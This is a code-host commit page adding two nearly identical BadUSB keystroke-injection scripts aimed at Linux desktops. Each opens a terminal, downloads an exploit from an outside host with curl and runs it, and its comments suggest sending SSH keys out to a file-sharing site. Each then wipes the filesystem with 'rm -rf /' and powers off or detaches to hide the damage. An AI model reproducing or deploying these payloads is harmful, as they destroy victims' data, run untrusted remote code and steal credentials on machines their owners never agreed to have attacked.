Added BADUSB folder with CVE-2026-31431 exploit
This commit is contained in:
42
badusb/CVE-2026-31431.txt
Normal file
42
badusb/CVE-2026-31431.txt
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
REM #############################
|
||||||
|
REM ####### DANGER !! ###########
|
||||||
|
REM #############################
|
||||||
|
REM This script will wipe a linux machine unpatched to CVE-2026-31431
|
||||||
|
REM launch via GUI evokes terminal through 2 methods then runs attack and wipes root with rm rf
|
||||||
|
|
||||||
|
REM GUI launch terminal in kde gnome plasma
|
||||||
|
DELAY 500
|
||||||
|
GUI
|
||||||
|
STRING terminal
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
|
||||||
|
REM launch via hotkeys for terminal
|
||||||
|
DELAY 500
|
||||||
|
CTRL-ALT T
|
||||||
|
DELAY 200
|
||||||
|
ENTER
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM make attack file and exec
|
||||||
|
|
||||||
|
STRING curl https://copy.fail/exp -o cve.py
|
||||||
|
ENTER
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
STRING python3 cve.py
|
||||||
|
ENTER
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM add any other exploits here whilst your root, dump ssh keys via https://temp.sh/
|
||||||
|
REM clean up after
|
||||||
|
|
||||||
|
STRING rm -rf /
|
||||||
|
REM add 5s delay enough time to think about it before hitting enter or control c
|
||||||
|
DELAY 5000
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM poweroff to hide the crash afer 3 seconds and shell will run when rm is done
|
||||||
|
DELAY 3000
|
||||||
|
STRING poweroff
|
||||||
|
ENTER
|
||||||
43
badusb/payload.txt
Normal file
43
badusb/payload.txt
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
REM #############################
|
||||||
|
REM ####### DANGER !! ###########
|
||||||
|
REM #############################
|
||||||
|
REM This script will wipe a linux machine unpatched to CVE-2026-31431
|
||||||
|
REM launch via GUI evokes terminal through 2 methods then runs attack and wipes root with rm rf
|
||||||
|
|
||||||
|
REM GUI launch terminal in kde gnome plasma
|
||||||
|
DELAY 500
|
||||||
|
GUI
|
||||||
|
STRING terminal
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
|
||||||
|
REM launch via hotkeys for terminal
|
||||||
|
DELAY 500
|
||||||
|
CTRL-ALT T
|
||||||
|
DELAY 200
|
||||||
|
ENTER
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM make attack file and exec
|
||||||
|
|
||||||
|
STRING curl https://copy.fail/exp -o cve.py
|
||||||
|
ENTER
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
STRING python3 cve.py
|
||||||
|
ENTER
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM add any other exploits here whilst your root, dump ssh keys via https://temp.sh/
|
||||||
|
REM clean up after
|
||||||
|
|
||||||
|
STRING rm -rf / && poweroff > /dev/null 2>&1 &
|
||||||
|
ENTER
|
||||||
|
|
||||||
|
REM detach from the process and close terminal to hide
|
||||||
|
delay 100
|
||||||
|
STRING disown
|
||||||
|
ENTER
|
||||||
|
delay 100
|
||||||
|
STRING exit
|
||||||
|
ENTER
|
||||||
Reference in New Issue
Block a user